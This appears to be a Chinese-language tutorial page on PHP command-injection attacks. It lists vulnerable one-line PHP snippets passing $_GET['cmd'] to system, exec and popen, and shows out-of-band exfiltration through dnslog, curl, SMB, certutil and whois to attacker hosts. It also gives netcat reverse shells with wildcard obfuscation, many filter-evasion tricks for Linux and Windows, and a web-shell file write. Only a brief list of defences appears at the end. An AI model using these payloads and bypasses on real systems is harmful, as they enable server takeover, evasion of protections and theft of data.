跳到主要内容

命令执行

网站开发者使用了命令执行危险函数,并且以动态的形式接收外部传参带入命令执行函数执行命令

命令执行相关函数

system passthru popen exec shell_exec ` `

  • system

    将传入的参数当作系统命令执行,自带输出

    <?php echo '<pre>';system($_GET['cmd']);?>
  • exec

    无自带输出,配合输出函数只能够输出最后一行

    <?php echo '<pre>';echo exec($_GET['cmd']);?>

    若无输出函数输出(无回显),解决方式

    • 将执行结果重定向到文件,然后访问文件即可

      ifconfig > 1.txt
    • 利用dnslog将结果带出(有长度限制)

      ping `whoami`.xxx.dnslog.cn
    • 通过url带出结果

      python -m http.server
      curl http://xxx:8000/`whoami`
    • 通过smb带出结果

      tail -f /var/log/samba/log.smbd | grep "failed to find service"
      Windows \\192.168.172.130\%computername%
      linux smbclient //xxx.xxx.xxx.xxx/`whoami`.txt
    • windows目标机带出结果(不会执行命令)

      certutil -f -urlcache -split http://192.168.172.1:9090/%computername%
  • shell_exec

    不自带输出,配合输出函数能够输出完整结果

  • passthru

    自带输出

  • popen

    能够执行OS命令,返回一个文件指针,一般将命令执行结果写入文件

    <?php echo '<pre>';popen($_GET['cmd'].'>> 123.txt','r');?>
  • ``反引号

    调用shell_exec函数执行命令,无自带回显

    <?php echo '<pre>';$cmd=$_GET['cmd'];print("$cmd");?>

windows多命令执行

image-20220916102226379

Linux多命令执行

image-20220916102912669

命令执行变形

Linux

通配符

  • *在bash内代表多个字符(linux)

    /usr/bin/whoami -> /*r/*n/wh*mi
  • ?在bash内代表一个字符

    /usr/bin/whoami -> /?sr/?in/wh??mi
  • [,]代表匹配其中一个字符

    /usr/bin/whoami -> /[a,b,u,s]sr/[a,b,u,s]in/[a,b,u,s,w]hoami
  • [-]代表连续的字符

    /usr/bin/whoami -> /u[a-z]r/b[a-z]n/[a-w]hoami

反弹shell配合通配符

nc -lvvp 5555  #监听
nc -e /bin/bash x.x.x.x 5555
nc -e /???/b??h x.x.x.x 5555
nc -e /???/b??h 十进制ip 5555 #kali

连接符

  • '单引号

    whoami -> 'w'h'o'a'm'i
  • "双引号

    whoami -> "w"h"o"a"m"i

单双引号要成对出现

  • \反斜杠

    whoami -> \w\h\o\a\m\i

各种连接符可组合使用(单双引号成对出现)

未初始化的变量

cat$a /etc$a/passwd$a  #$a不能出现在字符中间

自定义bash变量

a=w;b=hoa;c=mi;$a$b$c

使用一般不被waf过滤的命令

whois带数据

nc -lvvp 5555  #攻击机
whois -h x.x.x.x -p 5555 `whoami`

反引号执行命令

  • 命令之中执行命令

    sadfasdf`whoami`asdfasdf
  • 反引号污染

    wh`asdfasdfasdfsazx`o`asdfasdfazxcv`ami

花括号、重定向符号绕过空格限制

  • 花括号

    cat /etc/passwd -> {cat,/etc/passwd}
  • 重定向符号

    <为输入重定向,>为输出重定向

    cat /etc/passwd -> cat<>/etc/passwd

base64编码

首先对whoami进行base64编码

echo whoami | base64

再对其结果进行解码(组合为一个命令),加上``执行命令

`echo d2hvYW1pCg==|base64 -d`  #whoami

干扰符号

$1-9、$*、$@、$"、$""、$()、'、"

将干扰符号插在执行命令的字符中

环境变量截取

echo $PATH  #输出环境变量 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
echo ${#PATH} #获取环境变量长度
wh${PATH:6:1}ami

windows

干扰符号

  • "双引号

    w""""""""""hoami
  • ^(在windows为转义字符)

    wh""o^a^mi
  • ()括号

    (((wh^oam""i)))

大小写绕过

变量拼接

set a=who&&set b=ami&& call %a%%b%

变量截取

image-20220916155436444

带出变量

ping %username%.dnslog.cn
uslookup %username%.dnslog.cn
curl %username%.dnslog.cn

base64外带

python -m http.server  #攻击机
curl http://x.x.x.x:8000/$(whoami|base64)

命令执行漏洞危害:

  • 执行任意命令控制服务器

  • 执行命令写文件

    <?php file_put_contents('shell.php','<?=phpinfo()?>');?>
  • 执行命令反弹shell

    利用hacktool插件生成反弹shell

命令执行漏洞防御:

  • 开启disable_function禁用命令执行函数或其他危险函数
  • 过滤敏感字符如echo,bash,whoami,ifconfig,|,||,&,&&,;
  • 对传入的参数进行转义过滤,addslashes函数转义参数值